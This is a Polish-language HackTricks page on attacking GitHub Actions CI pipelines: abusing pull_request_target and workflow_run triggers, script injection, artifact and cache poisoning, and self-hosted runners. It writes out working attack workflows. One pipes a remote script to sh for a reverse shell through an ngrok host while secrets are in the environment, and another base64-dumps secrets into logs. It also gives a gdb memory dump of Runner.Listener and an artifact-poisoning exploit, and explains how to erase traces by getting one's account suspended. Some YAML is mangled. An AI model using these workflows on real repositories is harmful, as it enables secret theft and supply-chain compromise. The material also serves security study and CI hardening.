Abusing Github Actions

Wspieraj HackTricks

Podstawowe Informacje

Na tej stronie znajdziesz:

  • Podsumowanie wszystkich skutków uzyskania dostępu do Github Action przez atakującego

  • Różne sposoby na uzyskanie dostępu do akcji:

  • Posiadanie uprawnień do tworzenia akcji

  • Wykorzystywanie pull request związanych z triggerami

  • Wykorzystywanie innych zewnętrznych technik dostępu

  • Pivoting z już skompromitowanego repozytorium

  • Na koniec, sekcja o technikach post-exploitation do wykorzystywania akcji od wewnątrz (powodując wspomniane skutki)

Podsumowanie Skutków

Wprowadzenie do Github Actions sprawdź podstawowe informacje.

Jeśli możesz wykonywać dowolne Github actions/wstrzykiwać kod w repozytorium, możesz być w stanie:

  • Kraść secrets z tego repozytorium/organizacji.

  • Jeśli możesz tylko wstrzykiwać, możesz kraść wszystko, co już jest obecne w workflow.

  • Wykorzystywać uprawnienia repozytorium do uzyskania dostępu do innych platform, takich jak AWS i GCP.

  • Wykonywać kod w niestandardowych workerach (jeśli są używane niestandardowe workery) i próbować pivotować stamtąd.

  • Nadpisywać kod repozytorium.

  • To zależy od uprawnień GITHUB_TOKEN (jeśli są).

  • Kompromitować wdrożenia i inne artefakty.

  • Jeśli kod wdraża lub przechowuje coś, możesz to zmodyfikować i uzyskać dalszy dostęp.

GITHUB_TOKEN

Ten "secret" (pochodzący z ${{ secrets.GITHUB_TOKEN }} i ${{ github.token }}) jest nadawany, gdy administrator włączy tę opcję:

Ten token jest tym samym, którego użyje Github Application, więc może uzyskać dostęp do tych samych endpointów: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github powinien wydać flow, który umożliwia dostęp między repozytoriami w GitHub, więc repozytorium może uzyskać dostęp do innych wewnętrznych repozytoriów za pomocą GITHUB_TOKEN.

Możesz zobaczyć możliwe uprawnienia tego tokena na: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Zauważ, że token wygasa po zakończeniu zadania. Te tokeny wyglądają tak: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Niektóre interesujące rzeczy, które możesz zrobić z tym tokenem:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Zwróć uwagę, że w kilku przypadkach będziesz mógł znaleźć tokeny użytkowników github wewnątrz środowisk Github Actions lub w sekretnych zmiennych. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.

Wylistuj sekrety w outputcie Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Uzyskaj reverse shell z secrets

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Możliwe jest sprawdzenie uprawnień nadanych Tokenowi Github w repozytoriach innych użytkowników sprawdzając logi akcji:

Dozwolone Wykonanie

To byłby najłatwiejszy sposób na skompromitowanie Github actions, ponieważ ten przypadek zakłada, że masz dostęp do utworzenia nowego repozytorium w organizacji lub masz uprawnienia do zapisu w repozytorium.

Jeśli jesteś w tej sytuacji, możesz po prostu sprawdzić techniki Post Exploitation.

Wykonanie z Utworzenia Repozytorium

W przypadku, gdy członkowie organizacji mogą tworzyć nowe repozytoria i możesz wykonywać github actions, możesz utworzyć nowe repozytorium i ukraść sekrety ustawione na poziomie organizacji.

Wykonanie z Nowej Gałęzi

Jeśli możesz utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną Github Action, możesz ją zmodyfikować, przesłać zawartość, a następnie wykonać tę akcję z nowej gałęzi. W ten sposób możesz wykraść sekrety na poziomie repozytorium i organizacji (ale musisz wiedzieć, jak się nazywają).

Możesz sprawić, że zmodyfikowana akcja będzie wykonywalna ręcznie, gdy zostanie utworzony PR lub gdy zostanie przesłany jakiś kod (w zależności od tego, jak głośno chcesz być):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na wykonanie Github Action z innego repozytorium. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może je skompromitować.

pull_request

Wyzwalacz workflow pull_request uruchomi workflow za każdym razem, gdy otrzymany zostanie pull request z pewnymi wyjątkami: domyślnie, jeśli jest to pierwszy raz, gdy współpracujesz, jakiś opiekun będzie musiał zatwierdzić uruchomienie workflow:

Ponieważ domyślne ograniczenie dotyczy pierwszych współpracowników, możesz przyczynić się do naprawienia ważnego błędu/literówki, a następnie wysłać inne PR-y, aby nadużyć swoich nowych uprawnień pull_request.

Testowałem to i to nie działa: Inną opcją byłoby utworzenie konta z nazwą osoby, która przyczyniła się do projektu i usunęła swoje konto.

Ponadto, domyślnie zapobiega uprawnieniom do zapisu i dostępowi do sekretów w docelowym repozytorium, jak wspomniano w dokumentacji:

Z wyjątkiem GITHUB_TOKEN, sekrety nie są przekazywane do runnera gdy workflow jest wyzwalany z forkowanego repozytorium. GITHUB_TOKEN ma uprawnienia tylko do odczytu w pull requestach z forkowanych repozytoriów.

Atakujący może zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.

Tak, jeśli atakujący zmieni w PR github action, które zostanie wyzwolone, jego Github Action będzie używane, a nie to z oryginalnego repo!

Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na GITHUB_TOKEN, atakujący może na przykład przesłać złośliwe artefakty.

pull_request_target

Wyzwalacz workflow pull_request_target ma uprawnienia do zapisu w docelowym repozytorium i dostęp do sekretów (i nie pyta o zgodę).

Należy zauważyć, że wyzwalacz workflow pull_request_target działa w kontekście bazowym, a nie w tym nadanym przez PR (aby nie wykonywać nieufnego kodu). Więcej informacji o pull_request_target znajdziesz w dokumentacji. Ponadto, więcej informacji na temat tego konkretnego niebezpiecznego użycia znajdziesz w poście na blogu github.

Może się wydawać, że ponieważ wykonywany workflow jest zdefiniowany w bazie, a nie w PR, jest bezpieczne używanie pull_request_target, ale są kilka przypadków, gdzie tak nie jest.

A ten będzie miał dostęp do sekretów.

workflow_run

Wyzwalacz workflow_run pozwala uruchomić workflow z innego, gdy jest completed, requested lub in_progress.

W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Run Tests":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Ponadto, zgodnie z dokumentacją: Workflow uruchomiony przez zdarzenie workflow_run może uzyskać dostęp do sekretów i zapisywać tokeny, nawet jeśli poprzedni workflow nie mógł tego zrobić.

Tego rodzaju workflow może być zaatakowany, jeśli zależy od workflow, który może być wywołany przez zewnętrznego użytkownika za pomocą pull_request lub pull_request_target. Kilka podatnych przykładów można znaleźć w tym blogu. Pierwszy z nich polega na tym, że workflow uruchomiony przez workflow_run pobiera kod atakującego: ${{ github.event.pull_request.head.sha }} Drugi polega na przekazaniu artefaktu z niezaufanego kodu do workflow workflow_run i użyciu zawartości tego artefaktu w sposób, który czyni go podatnym na RCE.

workflow_call

TODO

TODO: Sprawdź, czy podczas wykonywania z pull_request używany/pobierany kod pochodzi z oryginału czy z forka PR

Wykorzystywanie Wykonania Forka

Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby zmusić workflow GitHub do wykonania, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystane:

Niezaufane wykonanie checkout

W przypadku pull_request, workflow zostanie wykonany w kontekście PR (więc wykona złośliwy kod PR), ale ktoś musi go najpierw autoryzować i będzie działał z pewnymi ograniczeniami.

W przypadku workflow używającego pull_request_target lub workflow_run, który zależy od workflow, który może być wywołany z pull_request_target lub pull_request, kod z oryginalnego repozytorium zostanie wykonany, więc atakujący nie może kontrolować wykonanego kodu.

Jednakże, jeśli akcja ma wyraźny checkout PR, który pobierze kod z PR (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie pobierany jest kod PR):

# NIEBEZPIECZNE. Podane tylko jako przykład.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Potencjalnie niezaufany kod jest uruchamiany podczas npm install lub npm build, ponieważ skrypty budowania i referencje pakietów są kontrolowane przez autora PR.

GitHub dork do wyszukiwania podatnych akcji to: event.pull_request pull_request_target extension:yml, jednak istnieją różne sposoby konfiguracji zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (np. używając warunków dotyczących tego, kto jest autorem generującym PR).

Iniekcje Skryptów w Kontekście

Należy zauważyć, że istnieją pewne konteksty GitHub, których wartości są kontrolowane przez użytkownika tworzącego PR. Jeśli akcja GitHub używa tych danych do wykonania czegokolwiek, może to prowadzić do arbitralnego wykonania kodu:

Gh Actions - Context Script Injections

GITHUB_ENV Iniekcja Skryptu

Z dokumentacji: Możesz udostępnić zmienną środowiskową dla dowolnych kolejnych kroków w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją do pliku środowiskowego GITHUB_ENV.

Jeśli atakujący mógłby wstrzyknąć dowolną wartość do tej zmiennej środowiskowej, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w kolejnych krokach, takie jak LD_PRELOAD lub NODE_OPTIONS.

Na przykład (to i to), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechowywać jego zawartość w zmiennej środowiskowej GITHUB_ENV. Atakujący mógłby przesłać coś takiego, aby go skompromitować:

Podatne Akcje GitHub Stron Trzecich

Jak wspomniano w tym wpisie na blogu, ta akcja GitHub pozwala na dostęp do artefaktów z różnych workflow, a nawet repozytoriów.

Problem polega na tym, że jeśli parametr path nie jest ustawiony, artefakt jest rozpakowywany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi.

Przykład podatnego workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

To można zaatakować za pomocą tego workflow:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Inny Dostęp Zewnętrzny

Przejęcie Usuniętego Repozytorium Namespace

Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto z tą nazwą po pewnym czasie. Jeśli repozytorium miało mniej niż 100 gwiazdek przed zmianą nazwy, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie utworzyć repozytorium o tej samej nazwie, co usunięte.

Więc jeśli akcja używa repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję.

Jeśli inne repozytoria używały zależności z repozytoriów tego użytkownika, atakujący będzie mógł je przejąć. Tutaj masz bardziej szczegółowe wyjaśnienie: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

W tej sekcji omówimy techniki, które pozwolą na pivotowanie z jednego repozytorium do drugiego, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).

Zatrucie Cache

Cache jest utrzymywany między uruchomieniami workflow w tej samej gałęzi. Oznacza to, że jeśli atakujący skompromituje pakiet, który jest następnie przechowywany w cache i pobrany oraz wykonany przez bardziej uprzywilejowany workflow, będzie mógł również skompromitować ten workflow.

GH Actions - Cache Poisoning

Zatrucie Artefaktów

Workflows mogą używać artefaktów z innych workflows, a nawet repozytoriów, jeśli atakujący zdoła skompromitować Github Action, która przesyła artefakt, który jest później używany przez inny workflow, może skompromitować inne workflows:

Gh Actions - Artifact Poisoning

Post Exploitation z Akcji

Dostęp do AWS i GCP przez OIDC

Sprawdź następujące strony:

AWS - Federation AbuseGCP - Federation Abuse

Dostęp do sekretów

Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:

  • Jeśli sekret lub token jest ustawiony jako zmienna środowiskowa, można go bezpośrednio uzyskać przez środowisko za pomocą printenv.

Lista sekretów w output Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Uzyskaj reverse shell z secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Jeśli sekret jest używany bezpośrednio w wyrażeniu, wygenerowany skrypt powłoki jest przechowywany na dysku i jest dostępny.

cat /home/runner/work/_temp/*

* Dla akcji JavaScript sekrety są przesyłane przez zmienne środowiskowe
* ```bash
ps axe | grep node
  • Dla niestandardowej akcji, ryzyko może się różnić w zależności od tego, jak program używa sekretu uzyskanego z argumentu:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Abusing Self-hosted runners

Sposobem na znalezienie, które Github Actions są wykonywane w infrastrukturze nie-githubowej, jest wyszukiwanie runs-on: self-hosted w konfiguracji yaml Github Action.

Self-hosted runners mogą mieć dostęp do dodatkowych wrażliwych informacji, do innych systemów sieciowych (podatne punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i niszczone, więcej niż jedna akcja może być uruchomiona jednocześnie i złośliwa akcja może ukraść sekrety innej.

W self-hosted runners możliwe jest również uzyskanie **sekretów z procesu _Runner.Listener_** który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Sprawdź ten post, aby uzyskać więcej informacji.

Github Docker Images Registry

Możliwe jest tworzenie Github actions, które będą budować i przechowywać obraz Docker wewnątrz Github. Przykład można znaleźć w poniższym rozwijanym elemencie:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Jak można było zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.

Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Docker za pomocą osobistego tokena dostępu:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Następnie użytkownik może wyszukać ujawnione sekrety w warstwach obrazu Docker:

Wrażliwe informacje w logach Github Actions

Nawet jeśli Github stara się wykrywać wartości sekretów w logach akcji i unikać ich wyświetlania, inne wrażliwe dane, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest to specjalnie skonfigurowane.

Zacieranie śladów

(Technika z tąd) Przede wszystkim, każdy PR jest wyraźnie widoczny publicznie na Github i dla docelowego konta GitHub. Domyślnie na GitHub nie możemy usunąć PR z internetu, ale jest pewien haczyk. Dla kont GitHub, które są zawieszone przez Github, wszystkie ich PR są automatycznie usuwane i znikają z internetu. Aby ukryć swoją aktywność, musisz albo zawiesić swoje konto GitHub, albo oznaczyć swoje konto. To ukryje wszystkie twoje działania na GitHub z internetu (praktycznie usunie wszystkie twoje PR z exploitami).

Organizacja na GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „jakieś rzeczy” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, twój exploit staje się niewidoczny na github.

Jedynym sposobem, aby organizacja dowiedziała się, że była celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostanie usunięty.

Narzędzia

Następujące narzędzia są przydatne do znajdowania workflowów Github Action, a nawet do znajdowania podatnych:

Last updated